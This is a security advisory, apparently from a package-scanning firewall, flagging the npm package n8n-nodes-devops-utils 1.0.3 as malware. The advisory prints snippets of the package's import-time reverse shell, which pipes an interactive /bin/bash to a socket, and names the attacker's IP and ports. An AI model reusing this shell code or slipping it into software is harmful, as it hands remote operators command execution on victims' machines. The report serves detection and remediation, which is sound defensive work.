Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Remote operator gains interactive shell access with the privileges of the importing process. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 1.0.3 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Direct source inspection confirms import-time reverse-shell behavior in the package main entrypoint. The lack of lifecycle scripts does not mitigate execution when the entrypoint is imported. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-07-17T14:05:24.335Z - **Finished:** 2026-07-17T14:05:49.726Z - **Download time:** 510 ms - **Static scan time:** 8 ms - **AI review time:** 24873 ms - **Total time:** 25391 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The package main entrypoint creates two reverse shells during import. Each shell is connected to a hard-coded remote host and grants interactive command execution. - **Trigger:** Importing or requiring the package main entrypoint (\`index.js\`). - **Impact:** Remote operator gains interactive shell access with the privileges of the importing process. - **Evidence paths:** index.js, package.json, MyNode.js - **Review source:** ai\_review - **Reviewed:** 2026-07-17T14:05:49.726Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Import-time reverse shell via \`child\_process.spawn\` and \`net.Socket\` piping. - **Attack narrative:** When \`index.js\` is loaded, two immediately invoked blocks spawn interactive Bash and POSIX shell processes. Each opens a TCP connection to the same hard-coded external IP on a distinct port, then pipes socket input into the shell and both output streams back to the socket. This is a concrete import-time reverse shell with silent error handling, independent of the benign-looking n8n node stub. - **Rationale:** Direct source inspection confirms import-time reverse-shell behavior in the package main entrypoint. The lack of lifecycle scripts does not mitigate execution when the entrypoint is imported. - **Files touched:** index.js, package.json, MyNode.js - **Network endpoints:** 103.27.109.184:8890, 103.27.109.184:8891 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** \`index.js\` immediately runs on module import., \`index.js\` spawns interactive \`/bin/bash\` and \`/bin/sh\` processes., \`index.js\` pipes both shells to \`103.27.109.184\` on ports 8890 and 8891., Errors are silently swallowed, concealing failed connection attempts. - **Evidence against:** \`package.json\` contains no lifecycle scripts., \`MyNode.js\` is an inert n8n node stub. ## Affected versions and remediation This report applies to n8n-nodes-devops-utils@1.0.3. - Avoid installing n8n-nodes-devops-utils@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** index.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L3: var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']); ``` ### 2. Critical: Reverse Shell - **Category:** Source - **Confidence:** 92.0% - **Path:** index.js - **Public source:** [View source]() Source matches reverse-shell style process and socket wiring. Public source snippet (untrusted): ```javascript L2: try { L3: var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var client = new net.Socket(); ... L8: client.pipe(sh.stdin); L9: sh.stdout.pipe(client); L10: sh.stderr.pipe(client); ``` ### 3. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** index.js - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```javascript Trigger-reachable chain: manifest.main -> index.js L2: try { L3: var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var client = new net.Socket(); ... L8: client.pipe(sh.stdin); L9: sh.stdout.pipe(client); L10: sh.stderr.pipe(client); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** n8n-nodes-devops-utils - **Ecosystem:** npm - **Version:** 1.0.3 - **License:** MIT - **Version published:** 2026-07-17T12:01:19.514Z - **Package first seen:** 2026-07-17T14:05:49.726Z - **Package last seen:** 2026-07-28T14:50:07.902Z - **Known versions:** 8 - **Latest version:** 1.0.7 - **Appeal under review:** No - **Description:** DevOps utility nodes for n8n workflow automation - **Keywords:** n8n-community-node-package - **Artifact files:** 3 - **Artifact unpacked size:** 1,576 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
